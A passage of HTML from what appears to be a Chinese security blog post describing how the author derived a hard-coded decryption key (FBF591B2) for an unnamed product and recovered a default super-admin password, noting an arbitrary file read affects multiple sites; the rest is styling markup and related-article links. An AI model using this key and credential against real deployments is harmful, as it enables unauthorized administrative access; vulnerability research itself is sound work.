0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">web.config</span></code><span leaf="">中的</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">passkey</span></code><span leaf="">，也就是</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">12345678</span></code><span leaf="">，下面解密函数也证实了这一点</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8342592592592593" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038548" src="https://wechat2rss.xlab.app/img-proxy/?k=1034f5a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXaWrXAMJJVd20BQ3iaQicqFTE1kibvetMh6NiaWQUnmlHsNPUJicicX8o4ydgmMDU9KkLMAk5m9QqRS9AvicB5pQsMXB8rVywUDFsXgc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在解密函数中，程序不是直接用</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">12345678</span></code><span leaf="">来作为密钥直接解密，而是经过了</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ServerInfo.EncryptSpecialKey</span></code><span leaf="">方法进行了处理，继续跟进</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">可以看到</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ServerInfo.EncryptSpecialKey</span></code><span leaf="">方法最终的key是</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">md5(&#34;ms@12345678168&#34;)</span></code><span leaf="">取前8位</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.244140625" data-type="png" data-w="1024" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038544" src="https://wechat2rss.xlab.app/img-proxy/?k=284bdc54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdW9eNvTTb5atKQCpxicK4zPeXe31VqpBDmI96v3jcOOVw3NhhZ4UnoUfOTmKVzJl46ovrdXIJ6FwMfBwZw0UicANuicFDMq8Zt1C8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.09116022099447514" data-type="png" data-w="724" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038545" src="https://wechat2rss.xlab.app/img-proxy/?k=484a15e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWHdfxrlUw3cI7lFlTSVLkRgwvx8OqmajCpDE3kO6Vuo4qhmqcC1NicR2RUJQ490wicM9hIfOgN0SEV7GAiaTibTAkKd8HuDNkicfxc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">密钥最终为</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">FBF591B2</span></code><span leaf="">，这里有个坑点就是密钥是大写，跟进md5方法可以看到</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ToUpper</span></code><span leaf="">方法将字母转换成大写</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2046296296296297" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038546" src="https://wechat2rss.xlab.app/img-proxy/?k=a5a7909b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVPzdSdheATV4fuL6mHtPmI2P3zMMhzrAcnxQo4rL1JI6ZN0ZoHXYjcC2vFLncB1ibhryIUAwafWQzWfW02Zmuqibgtda9z63TDs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 24px;color: rgb(19, 92, 224);line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: bold;display: block;"><span leaf="">0x03 意料之外</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最终解出超管的默认密码为aaaa，嗯？aaaa？我的字典里没有吗，后来发现字典里确实没有aaaa</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6833333333333333" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038549" src="https://wechat2rss.xlab.app/img-proxy/?k=870fe58e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXT8Jfg7qscNT07WicGMJVY8J5sj33WibYAd5qAPPXIG7y99IoeAZKIQ2KHOUyFO9tpEmCv3LQDzMAwXkVziaWhk7ibsiaVkYpCkIUM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">后来又试了几个站点，基本都存在任意文件读取的问题，而且默认的key都是相同的。</span></p></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div 